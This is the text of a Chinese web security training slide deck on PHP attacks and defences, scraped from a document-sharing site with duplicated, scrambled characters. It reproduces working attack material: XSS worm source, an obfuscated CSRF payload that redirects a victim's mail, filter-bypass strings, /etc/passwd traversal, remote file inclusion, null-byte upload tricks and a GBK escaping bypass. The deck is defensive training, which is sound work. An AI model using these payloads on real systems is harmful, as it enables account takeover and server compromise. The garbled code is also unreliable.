【精品】web安全培训(可编辑.ppt

上传人:1595****071 文档编号:86274377 上传时间:2023-04-14 格式:PPT 页数:86 大小:2.31MB
返回 下载 相关 举报
【精品】web安全培训(可编辑.ppt_第1页
第1页 / 共86页
【精品】web安全培训(可编辑.ppt_第2页
第2页 / 共86页
点击查看更多>>
资源描述

《【精品】web安全培训(可编辑.ppt》由会员分享,可在线阅读,更多相关《【精品】web安全培训(可编辑.ppt(86页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。

1、WEB安全培训 qq互联网攻击趋势互联网攻击趋势(统计来自统计来自 computer.orgcomputer.org)脚本安全编程重要性脚本安全编程重要性脚本安全编程重要性脚本安全编程重要性1.1.知己知彼,百战不殆知己知彼,百战不殆 传统攻击流程传统攻击流程WEBWEB攻击流程攻击流程黑客攻击技术曝光黑客攻击技术曝光一、脚本黑客的瑞士军刀一、脚本黑客的瑞士军刀-SQL-SQL注入攻击注入攻击1.1.猜解出数据库中的敏感信息猜解出数据库中的敏感信息2.2.如果连接权限高的话会得到文件操作权限如果连接权限高的话会得到文件操作权限(load_file,into outfile)(load_file

2、,into outfile)3.3.根据数据库特性执行系统命令根据数据库特性执行系统命令qqSQLSQL注入利用的是参数传递的时候过滤不严时用参数注入利用的是参数传递的时候过滤不严时用参数组合成正确的组合成正确的SQLSQL语句来执行操作的技术。语句来执行操作的技术。qq简单的理解为:涉及进入简单的理解为:涉及进入SQLSQL语句操作的变量没有过语句操作的变量没有过滤输入与转义输出滤输入与转义输出qq实例实例-夜猫软件下载系统夜猫软件下载系统(攻击与修复攻击与修复)http:/10.210.128.58/ymdown/show.php?id=1http:/10.210.128.58/ymdow

3、n/show.php?id=1黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光二、暗夜中舞动的精灵二、暗夜中舞动的精灵-XSS-XSS跨站脚本攻击跨站脚本攻击1.1.进行会话劫持进行会话劫持2.CSRF2.CSRF3.XSS WORM3.XSS WORM4.4.社会工程攻击、钓鱼、拒绝服务社会工程攻击、钓鱼、拒绝服务5.5.涂鸦页面涂鸦页面qqXSSXSS又叫又叫CSS(Cross Site Script)CSS(Cross Site Script),跨站脚本攻击。,跨站脚本攻击。它指的是恶意攻击者往它指的是恶意攻击者往WebWeb页面里插入恶意页面里插入恶意htmlhtml代

4、码代码(恶意恶意JSJS代码代码),当用户浏览该页之时,嵌入其中,当用户浏览该页之时,嵌入其中WebWeb里面的里面的htmlhtml代码代码(恶意恶意JSJS代码代码)会被执行,从而达到恶会被执行,从而达到恶意用户的特殊目的。意用户的特殊目的。qq输入一些数据需要在页面中显示出来,但是没有对这输入一些数据需要在页面中显示出来,但是没有对这段数据做过滤输入或者转义输出。段数据做过滤输入或者转义输出。黑客攻击技术曝光黑客攻击技术曝光qqxssxss特点特点继承浏览器权限继承浏览器权限社会工程,被动攻击社会工程,被动攻击影响广泛影响广泛(只要浏览器支持只要浏览器支持JavaScript)JavaS

5、cript)隐蔽,难以察觉隐蔽,难以察觉qqXSSXSS可能出现在哪?可能出现在哪?1.HTML1.HTML标签外部标签外部2.HTML2.HTML标签内部标签内部(属性、事件属性、事件)3.3.输入到输入到javascriptjavascript代码代码黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光qqWEBWEB安全新挑战安全新挑战-XSS WORM-XSS WORMqq两段真实的两段真实的XSS WROMXSS WROM统计数据统计数据qq百度百度XSSXSS蠕虫攻击统计蠕虫攻击统计黑客攻击技术曝光黑客攻击技术曝光qq新浪博客新浪博客 v5.0 v5.0 蠕虫蠕虫var

6、 blogtitle=I OwNed youR BloGvar blogbody=YourE mY fOOd.蠕虫传播主体,不要构造这里var xmlhttp=new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/admin/article/article_add.php,false);xmlhttp.send();var xss=xmlhttp.responseText;token=xss.indexOf(vtoken);if(token0)vtoken=xss.substr(token+15,32);xmlhttp.open(pos

7、t,/admin/article/article_post.php,false);xmlhttp.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xmlhttp.send(album=&blog_id=&is_album=0&stag=&sno=&channel_id=&url=&channel=&newsid=&book_worksid=&vtoken=+vtoken+&is_media=0&blog_title=+blogtitle+&blog_body=+blogbody+&tag=&blog_class=

8、0&x_cms_flag=1&sina_sort_id=117&is2bbs=1&join_circle=1);var suss=xmlhttp.responseText;send=suss.indexOf(06001);if(send0)/alert(感染成功:);document.location=http:/ alert(感染失败:();黑客攻击技术曝光黑客攻击技术曝光qq新浪空间新浪空间 好友纸条群发蠕虫好友纸条群发蠕虫-获取cookie中的uid-cookie=unescape(request(cookie)cflag=Instr(cookie,nick=)dflag=Instr(c

9、ookie,);)省略.-遍历好友数-for i=1 to 500-得到此uid的好友-url=http:/ GET,url,Falsexml.sendhtmlcon=b2bstr(xml.responsebody)-提取好友uid-aflag=Instr(htmlcon,record:uid:)bflag=InStr(htmlcon,ftype)If aflag 0 And bflag 0 Thenokflag=Replace(Replace(mid(htmlcon,aflag,bflag),record:uid:,),)Else-超过最大好友数就中断-exit forEnd If-play

10、load-Response.Write“next黑客攻击技术曝光黑客攻击技术曝光qq永无止境的斗争永无止境的斗争-XSS-XSS过滤过滤&突破突破qqBaidu XSS Baidu XSS 过滤绕过过滤绕过 aevilmask:aevilmask:ex/*ex/*exp/*/ressionexp/*/ression*/pression*/pression qqSina XSS Sina XSS 过滤绕过过滤绕过(input)(input)http:/ code:input type=hidden name=name Soure code:黑客攻击技术曝光黑客攻击技术曝光qq新浪圈子新浪圈子-H

11、tml-Html标签内部进攻标签内部进攻黑客攻击技术曝光黑客攻击技术曝光qq仔细分析该处也进行了敏感字符的过滤,比如仔细分析该处也进行了敏感字符的过滤,比如javascriptjavascript,TABTAB字元,字元,“)“)等,但是经过测试发现这等,但是经过测试发现这种过滤非常容易绕过,例如:种过滤非常容易绕过,例如:qqJaVaScrIpT:eval(unescape(xmlhttp%3Dnew%20AJaVaScrIpT:eval(unescape(xmlhttp%3Dnew%20ActiveXObject%28%22Msxml2.XMLHTTP.3.0%22%ctiveXObjec

12、t%28%22Msxml2.XMLHTTP.3.0%22%29%3Bxmlhttp.open%28%22GET%22%2C%22/g29%3Bxmlhttp.open%28%22GET%22%2C%22/g33k/bbs/topic/tid%3D13037271%22%2Cfalse%233k/bbs/topic/tid%3D13037271%22%2Cfalse%29%3Bxmlhttp.send%28%29%3Balert%28xmlhttp.9%3Bxmlhttp.send%28%29%3Balert%28xmlhttp.responseText%29%3B);responseText%

13、29%3B);黑客攻击技术曝光黑客攻击技术曝光qq被污染的页面代码:被污染的页面代码:qqaaa aaa 黑客攻击技术曝光黑客攻击技术曝光qq新浪新浪VIPVIP邮箱邮箱CSRFCSRF攻击攻击qq<IMG SRC=<IMG SRC=javas!-javascript:eval(unescape(xmlhttp%3Dnew%20ActiveXObjectcript:eval(unescape(xmlhttp%3Dnew%20ActiveXObject%28%22Msxml2.XMLHTTP.3.0%22%29%3Bxmlhttp.open%28%22Msxml2.XMLHTTP.3

14、.0%22%29%3Bxmlhttp.open%28%22GET%22%2C%22/classic/setforward.php%3Fopty%28%22GET%22%2C%22/classic/setforward.php%3Foptype%3D1%26is_open%3D1%26Forward_To%3Dmengzhuope%3D1%26is_open%3D1%26Forward_To%3D%26Forward_Save%3Don%22%2C%26Forward_Save%3Don%22%2Cfalse%29%3Bxmlhttp.send%28%29%3Bvar%20a%3D%28xmlh

15、t%29%3Bxmlhttp.send%28%29%3Bvar%20a%3D%28xmlhttp.responseText%29%3Bdocument.write%28%22I%20Misstp.responseText%29%3Bdocument.write%28%22I%20Miss%20You%20%20from%20FengGou%20%3A%29%22%29%20You%20%20from%20FengGou%20%3A%29%22%29%3B);%3B);>>SPAN DATASRC=#xss DATAFLD=B DATAFORMATAS=HTML黑客攻击技术曝光黑客攻

16、击技术曝光qq代码分析代码分析qqjavascript:eval(unescape(xmlhttp=new javascript:eval(unescape(xmlhttp=new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.openActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/classic/setforward.php?optype=1&is_open=(GET,/classic/setforward.php?optype=1&is_open=1&Forward_To=&Forwa1&Forw

17、ard_To=&Forward_Save=on,false);xmlhttp.send();var rd_Save=on,false);xmlhttp.send();var a=(xmlhttp.responseText);document.write(I Miss a=(xmlhttp.responseText);document.write(I Miss You from FengGou:););You from FengGou:););黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光qqXSSXSS重组攻击重组攻击qq先进后执行先进后执行/*/*/(hi);/*/(hi)

18、;/*/alert/*/alert/*/*/*黑客攻击技术曝光黑客攻击技术曝光三、千里之堤,毁于蚁穴三、千里之堤,毁于蚁穴-PHP-PHP文件包含漏洞文件包含漏洞服务器通过服务器通过phpphp的特性(函数)去包含任意文件时,的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。攻击的目的。黑客攻击技术曝光黑客攻击技术曝光qq常见的攻击手法常见的攻击手法1.1.包含本地任意文件包含本地任意文件(读取、执行读取、执行)2.2

19、.包含远程任意文件包含远程任意文件(执行执行)3.3.直接执行系统命令直接执行系统命令(php:/input)(php:/input)qq本地包含本地包含&远程包含远程包含黑客攻击技术曝光黑客攻击技术曝光qq文件包含文件包含$file=$_GETfile;$file=$_GETfile;include($file);include($file);include(/config/.$file);include(/config/.$file);qq路径包含路径包含$path=$_GETpath;$path=$_GETpath;include($path./config.php);include($

20、path./config.php);黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光四、一切尽在不言中四、一切尽在不言中-目录遍历目录遍历1.1.查看当前以及其他目录结构与其文件查看当前以及其他目录结构与其文件2.2.危害目的由不正当使用的函数决定危害目的由不正当使用的函数决定3.3.危害升级,危害升级,CRLFCRLF注入。注入。Vuln Code:Vuln Code:$fp=fopen($url,r);$fp=fopen($url,r);fpassthru($fp);fpassthru($fp);黑客攻击技术曝光黑客攻击技术曝光四又四又1/2

21、1/2、文件名操作函数引发的血案、文件名操作函数引发的血案CRLFCRLFPHP PHP 的的 fopen(),file()fopen(),file()及其它函数存在一个缺陷,即及其它函数存在一个缺陷,即用户随意地添加额外用户随意地添加额外HTTPHTTP报头信息到报头信息到HTTPHTTP请求数据请求数据包中。攻击者可以利用此缺陷绕过服务器的安全限制,包中。攻击者可以利用此缺陷绕过服务器的安全限制,进行非法访问。在某些情况下,这个缺陷甚至可以打进行非法访问。在某些情况下,这个缺陷甚至可以打开任意的网络连接,在代理端执行开任意的网络连接,在代理端执行PHPPHP脚本和打开邮脚本和打开邮件转发。

22、件转发。黑客攻击技术曝光黑客攻击技术曝光qqdoc.php?url=doc.php?url=http%3A%2F%2F%3A25%2F+Hhttp%3A%2F%2F%3A25%2F+HTTP/1.0%0D%0AHELO+%0D%0AMAIL+FROTTP/1.0%0D%0AHELO+%0D%0AMAIL+FROM%3A%3C%3E%0D%0ARCPT+TM%3A%3C%3E%0D%0ARCPT+TO%3A%3C%3E%0D%0ADATA%0D%0ACO%3A%3C%3E%0D%0ADATA%0D%0ACRLF+is+here%0D%0A.%0D%0AQUIT%0D%0A%0D%0ARLF+is

23、+here%0D%0A.%0D%0AQUIT%0D%0A%0D%0Aqqurl=http:/:25/+HTTP/1.0url=http:/:25/+HTTP/1.0HELO+HELO+MAIL+FROM:MAIL+FROM:RCPT+TO:RCPT+TO:DATADATACRLF+is+hereCRLF+is+here.QUITQUIT黑客攻击技术曝光黑客攻击技术曝光qqGET/HTTP/1.0GET/HTTP/1.0HELO HELO MAIL FROM:MAIL FROM:RCPT TO:RCPT TO:DATADATACRLF is hereCRLF is here.QUITQUITHT

24、TP/1.0HTTP/1.0Host:25Host:25 黑客攻击技术曝光黑客攻击技术曝光qqWarning:fopen(http:/ RCPT Warning:fopen(http:/ RCPT TO:DATA CRLF is here.QUIT TO:DATA CRLF is here.QUIT)function.fopen:failed to open stream:HTTP request failed!)function.fopen:failed to open stream:HTTP request failed!220 staff-Server ESMTP(Sun Java Sy

25、stem 220 staff-Server ESMTP(Sun Java System Messaging Server 6.2-3.04(built Jul 15 2005)Messaging Server 6.2-3.04(built Jul 15 2005)in in/opt/lampp/htdocs/doc.php on line 3/opt/lampp/htdocs/doc.php on line 3qq虽然测试由于一些原因失败,但是已经证明了攻击的存在性虽然测试由于一些原因失败,但是已经证明了攻击的存在性黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光五、飞向光明之

26、巅五、飞向光明之巅-文件上传攻击文件上传攻击1.1.直接获取直接获取webshellwebshell2.WEB2.WEB系统瞬间沦陷,直接威胁服务器安全系统瞬间沦陷,直接威胁服务器安全黑客攻击技术曝光黑客攻击技术曝光qq恶意恶意PHPPHP文件上传方法文件上传方法1.1.精心构造后缀精心构造后缀(php3,PhP,php.)(php3,PhP,php.)2.2.构造文件类型构造文件类型 Content-TypeContent-Type3.3.截断程序流程截断程序流程(shell.php%00.jpg)(shell.php%00.jpg)4.4.服务器解析缺陷服务器解析缺陷(test.php.r

27、ar)(test.php.rar)黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光黑客攻击技术曝光qq危险的本地危险的本地JSJS检查检查function isAllowedAttach(sFile)function isAllowedAttach(sFile)var sUploadImagesExt=.jpg.gif.png;var sUploadImagesExt=.jpg.gif.png;var sExt=sFile.match(/.*$/);var sExt=sFile.match(/.*$/);if(sExt)if(sExt)sExt=sExt0.toLowerCase();sExt

28、=sExt0.toLowerCase();else else if(!isAllowedAttach(file)if(!isAllowedAttach(file)show_error(show_error(上传图片格式不正确上传图片格式不正确,upinfo);,upinfo);return false;return false;黑客攻击技术曝光黑客攻击技术曝光六、没有硝烟的战争六、没有硝烟的战争-黑客攻击的艺术黑客攻击的艺术1.1.淘金淘金(html,js(html,js注释注释,备份文件备份文件,服务器报错信息服务器报错信息)2.2.猜测文件与目录猜测文件与目录3.3.其他人留下的漏洞其他人

29、留下的漏洞4.4.社会工程社会工程5.05.0dayday6.6.qq真的这么简单吗?真的这么简单吗?qq在保证代码安全的前提下还要有风险对抗意识。在保证代码安全的前提下还要有风险对抗意识。qq如果攻击者已经得逞,如何将损失、数据泄露、权限如果攻击者已经得逞,如何将损失、数据泄露、权限流失保证到最低限度。流失保证到最低限度。黑客攻击技术曝光黑客攻击技术曝光3.3.捍卫代码城堡捍卫代码城堡捍卫代码城堡捍卫代码城堡qq代码安全的本质代码安全的本质-恶意数据来自哪里?恶意数据来自哪里?1.1.显示变量输入显示变量输入$_GET$_GET$_POST$_POST$_COOKIE$_COOKIE$_SE

30、SSION$_SESSION$_SERVER$_SERVER .2.2.隐式输入隐式输入来自于数据库来自于数据库来自于配置文件来自于配置文件来自于缓存文件来自于缓存文件.捍卫代码城堡捍卫代码城堡捍卫代码城堡捍卫代码城堡qq什么是敏感字符什么是敏感字符?SQLSQL注入注入:id=1 and 1=1:id=1 and 1=1 id=1 and 1=2 union select 1,2,3.id=1 and 1=2 union select 1,2,3.XSS:alert()XSS:alert()“img src=#onerror=javascriptInclude:vuln.php?path=.

31、/././etc/passwdInclude:vuln.php?path=./././etc/passwd vuln.php?path=http:/xxx/s.jpg%3f vuln.php?path=http:/xxx/s.jpg%3f捍卫代码城堡捍卫代码城堡qq由此可见,敏感字符没有固定的形式与样子,取决于由此可见,敏感字符没有固定的形式与样子,取决于黑客攻击的目标的特性黑客攻击的目标的特性.qq对于对于SQLSQL注入,过滤单引号注入,过滤单引号(字符型字符型),整形处理,整形处理(数字数字型型),与一些常用,与一些常用SQLSQL关键字关键字(select,update,and,or.

32、)select,update,and,or.),那将对那将对SQLSQL注入技术给予致命的打击!注入技术给予致命的打击!qq过滤过滤,那么对于防范,那么对于防范htmlhtml标签外的标签外的XSSXSS攻击可以说攻击可以说是彻底的。是彻底的。捍卫代码城堡捍卫代码城堡qqSQLSQL注入过滤方法注入过滤方法常用变量字符替换函数常用变量字符替换函数str_replace()str_replace()字符转义函数字符转义函数addslashes()addslashes()常用数字判断函数常用数字判断函数is_numeric(),is_int().is_numeric(),is_int().捍卫代码

33、城堡捍卫代码城堡qqXSSXSS跨站攻击解决方法跨站攻击解决方法qqXSSXSS是输出到页面的内容,如果仍然过滤会打乱用户是输出到页面的内容,如果仍然过滤会打乱用户无意提交的敏感字符组成的文章,所以这里推荐转义无意提交的敏感字符组成的文章,所以这里推荐转义qqHTMLHTML转义函数转义函数:htmlentities(),htmlspecialchars():htmlentities(),htmlspecialchars()qq会把会把<,转义成转义成>,>,这样显示的内容不变这样显示的内容不变,而且恶意标签已经失去意义而且恶意标签已经失去意义 捍卫代码城堡捍卫代码城堡qq但

34、是!切记!但是!切记!qqXSSXSS没有我们想象的简单,没有我们想象的简单,XSSXSS不仅仅存在与不仅仅存在与htmlhtml中,中,它可能存在与它可能存在与CSSCSS中,错误的中,错误的HTTPHTTP头中,头中,cookiescookies中,中,FlashFlash中,甚至是一张图片中中,甚至是一张图片中.捍卫代码城堡捍卫代码城堡捍卫代码城堡捍卫代码城堡qqIts a Good ideaIts a Good ideaqq局限法局限法select name,pass from user where uid=$id;select name,pass from user where ui

35、d=$id;qq看上面的例子,将用户的输入局限在一对单引号或者看上面的例子,将用户的输入局限在一对单引号或者双引号中双引号中,然后过滤掉单引号和双引号然后过滤掉单引号和双引号,防止用户截断防止用户截断捍卫代码城堡捍卫代码城堡qq当然,当然,WEBWEB安全也不仅仅是过滤,严谨的逻辑思维更安全也不仅仅是过滤,严谨的逻辑思维更重要,看一个案例重要,看一个案例qq新浪房产新浪房产:POST/yh1/zhuce/mebermanage.php HTTP/1.1POST/yh1/zhuce/mebermanage.php HTTP/1.1省略省略HTTPHTTP头信息头信息mbflag2=2&mebna

36、me=admin&mbpwd=1234mbflag2=2&mebname=admin&mbpwd=123456&mbpwd2=123456&mbemail=xss&Submit356&mbpwd2=123456&mbemail=xss&Submit3=%CC%E1%BD%BB=%CC%E1%BD%BB捍卫代码城堡捍卫代码城堡qq文件包含文件包含 文件操作类漏洞的解决文件操作类漏洞的解决1.1.控制本地读取的路径控制本地读取的路径(小心小心././进行目录跳出进行目录跳出)2.2.控制远程读取的路径控制远程读取的路径(http:/xxx/xxx)http:/xxx/xxx)3.3.最根本还是控制

37、文件名变量的形态!最根本还是控制文件名变量的形态!捍卫代码城堡捍卫代码城堡qq利用利用PHPPHP本身对抗文件操作进攻本身对抗文件操作进攻allow_url_fopen=Offallow_url_fopen=Off(禁止打开远程文件链接禁止打开远程文件链接)allow_url_include=Off allow_url_include=Off(禁止远程包含文件禁止远程包含文件)open_basedir=/opt/www open_basedir=/opt/www(禁止指定目录外的文件操作禁止指定目录外的文件操作)safe_mode=Onsafe_mode=On(PHP(PHP将检查当前脚本的拥

38、有者是否和被操作的文件的将检查当前脚本的拥有者是否和被操作的文件的拥有者相同拥有者相同)捍卫代码城堡捍卫代码城堡qq利用利用PHPPHP本身对抗命令执行进攻本身对抗命令执行进攻disable_functions=system(),passthru()disable_functions=system(),passthru()(该指令接受一个用逗号分隔的函数名列表,以禁用特该指令接受一个用逗号分隔的函数名列表,以禁用特定的函数定的函数)如果你的程序不需要使用这些函数请禁掉,因为如果你的程序不需要使用这些函数请禁掉,因为webshellwebshell会经常使用会经常使用捍卫代码城堡捍卫代码城堡qq

39、利用利用PHPPHP本身对抗字符注入进攻本身对抗字符注入进攻magic_quotes_gpc=Onmagic_quotes_gpc=On(检查来自检查来自GET/POST/CookieGET/POST/Cookie的数据并自动转义敏感的数据并自动转义敏感字符字符)Its very cool Its very cool qq转义转义 VS VS 过滤过滤qq选择那个?选择那个?qq转义后的敏感字符会导致程序处理流程出错,最后将转义后的敏感字符会导致程序处理流程出错,最后将错误显示到页面。错误显示到页面。捍卫代码城堡捍卫代码城堡捍卫代码城堡捍卫代码城堡qq守口如瓶守口如瓶-不能说的秘密不能说的秘密

40、qqphpphp执行错误报错的信息一些人看起来不算什么,但执行错误报错的信息一些人看起来不算什么,但是对于一个黑客来说,也许是罪恶的开始。是对于一个黑客来说,也许是罪恶的开始。1.1.暴露数据库结构暴露数据库结构2.2.暴露物理路径暴露物理路径捍卫代码城堡捍卫代码城堡qqWarning:include()function.include:Failed Warning:include()function.include:Failed opening for inclusion opening for inclusion(include_path=.:/opt/lampp/lib/php)in(i

41、nclude_path=.:/opt/lampp/lib/php)in/opt/lampp/htdocs/path.php on line 3/opt/lampp/htdocs/path.php on line 3qqdisplay_errors=Offdisplay_errors=Off(关闭错误回显关闭错误回显)4.4.剑走偏锋剑走偏锋剑走偏锋剑走偏锋qq不得不承认,在这个网络安全乱世,黑客平民化的网不得不承认,在这个网络安全乱世,黑客平民化的网络时代中,安全已经远远没有想象中的那么简单。络时代中,安全已经远远没有想象中的那么简单。qq攻击者的目光已经不在那些没有安全处理的变量上,攻击者的

42、目光已经不在那些没有安全处理的变量上,而是向这些正常程序函数或安全处理机制下了毒手。而是向这些正常程序函数或安全处理机制下了毒手。qq黑客的必杀技?!黑客的必杀技?!剑走偏锋剑走偏锋qq不想突破的黑客不是好黑客不想突破的黑客不是好黑客-GPC-GPC的绕过的绕过qq在在PHP5PHP5中,中,$_SERVER$_SERVER变量不再受其保护,导致攻击变量不再受其保护,导致攻击者可以把单引号、双引号和空字元带入程序者可以把单引号、双引号和空字元带入程序$_SERVERHTTP_X_FORWARDED_FOR$_SERVERHTTP_X_FORWARDED_FOR$_SERVERHTTP_REFE

43、RER$_SERVERHTTP_REFERER$_SERVERQUERY_STRING$_SERVERQUERY_STRING剑走偏锋剑走偏锋qqGPCGPC的绕过请求的绕过请求GET/gpc.php?a=sina HTTP/1.0GET/gpc.php?a=sina HTTP/1.0Accept:*/*Accept:*/*Accept-Language:zh-cnAccept-Language:zh-cnAccept-Encoding:gzip,deflateAccept-Encoding:gzip,deflateHost:10.210.128.58Host:10.210.128.58Con

44、nection:Keep-AliveConnection:Keep-AliveX-Forwarded-For:SinaX-Forwarded-For:SinaReferer:SinaReferer:Sina剑走偏锋剑走偏锋剑走偏锋剑走偏锋qq魔高一尺魔高一尺-幽灵般的幽灵般的XSSXSS绕过技术绕过技术qqhtmlentities()htmlentities()真的是标签真的是标签XSSXSS终结者?终结者?qqxss.php?xss=%2bADw-SCRIPT%2bAD4-xss.php?xss=%2bADw-SCRIPT%2bAD4-alert(/xss%20is%20here!/)%2b

45、ADw-alert(/xss%20is%20here!/)%2bADw-%2fSCRIPT%2bAD4-%2fSCRIPT%2bAD4-qqutf7+urlencode and other.utf7+urlencode and other.剑走偏锋剑走偏锋qq道高一丈道高一丈-毛骨悚然毛骨悚然SQLSQL注入绕过技术注入绕过技术qqAddslashes()Addslashes()真的是字符型真的是字符型SQLSQL注入的终结者?注入的终结者?qq注意注意useruser的值的值:SELECT*FROM user WHERE user SELECT*FROM user WHERE user=籠籠

46、 sinaadmin AND pass=sinaadminsinaadmin AND pass=sinaadminqqGBKGBK中中0 xbb270 xbb27不是合法的双字节字符不是合法的双字节字符(中文中文),0 x27),0 x27相相当于当于(),(),被转义成被转义成0 xbb5c27(/),0 xbb5c27(/),但是但是0 xbb5c0 xbb5c是一个合是一个合法的中文字符,由此注入了一个法的中文字符,由此注入了一个0 x27()0 x27()。Page 66Page 67Page 68剑走偏锋剑走偏锋qq十面埋伏十面埋伏-preg_replace()-preg_repla

47、ce()中的陷阱中的陷阱qq+/e+/e执行漏洞执行漏洞Preg_repacePreg_repace当第一个参数的正则表达式参数有当第一个参数的正则表达式参数有e e符号符号的时候,第二个参数的字符串当做的时候,第二个参数的字符串当做PHPPHP代码执行。代码执行。?php?剑走偏锋剑走偏锋qq变量中转攻击变量中转攻击通过表达式提取通过表达式提取preg_repace()preg_repace()的第三个参数的第三个参数,通过通过nn中转提交的第三个参数里的中转提交的第三个参数里的PHPPHP代码。代码。?php?php$h=$_GETh;$h=$_GETh;echo preg_replace

48、(/s*s*/ies,1,echo preg_replace(/s*s*/ies,1,$h);$h);/“1”/“1”为第一参数里正则表达试匹配后的值为第一参数里正则表达试匹配后的值?qq黑客们的武林绝技当然不只是这些,这里举例的仅仅黑客们的武林绝技当然不只是这些,这里举例的仅仅是凤毛麟角而已,还有更多已经公布的,更多未公布是凤毛麟角而已,还有更多已经公布的,更多未公布的,令我们防不胜防的招数在黑暗中向我们挑战!的,令我们防不胜防的招数在黑暗中向我们挑战!剑走偏锋剑走偏锋5.5.惊栗后的深思惊栗后的深思qq问题为什么会存在?问题为什么会存在?1.1.来自开发者本身来自开发者本身 对安全认识的不

49、足对安全认识的不足,逻辑不严谨逻辑不严谨,编写失误编写失误,思维盲区思维盲区2.2.来自于语言本身来自于语言本身 配置错误配置错误,函数的安全隐患函数的安全隐患,安全措施的绕过安全措施的绕过惊栗后的深思惊栗后的深思qq要对你的工具有充分的了解要对你的工具有充分的了解1.1.了解语言特性了解语言特性语言环境等基本配置语言环境等基本配置,各种选项的功能与缺陷各种选项的功能与缺陷,自带函数自带函数的深刻理解与灵活运用的深刻理解与灵活运用2.2.了解相关产品的特性了解相关产品的特性 webweb服务器的配置与安全选项服务器的配置与安全选项,数据库的操作与权限划数据库的操作与权限划分分(SQL(SQL注入攻击灵巧的利用了注入攻击灵巧的利用了MYSQLMSSQLMYSQLMSSQL等的等的特性特性)惊栗后的深思惊栗后的深思惊栗后的深思惊栗后的深思qq安全编程五个要素安全编程五个要素1.1.对你所使用的语言有充分的了解对你所使用的语言有充分的了解2.2.坚信任何用户的输入都是不安全的坚信任何用户的输入都是不安全的3.3.过滤数据远远没有限制输入安全过滤数据远远没有限制输入安全4.4.最少的服务最少的服务+最小的权限最小的权限=最大的安全最大的安全5.5.保持清晰的思维保持清晰的思维6.6.双剑合壁双剑合壁qq在繁重的程序开发工作中,忽然要对安全如此的重视,在繁重的程序开发工作中,忽然要对

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 教育专区 > 小学资料

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号© 2020-2023 www.taowenge.com 淘文阁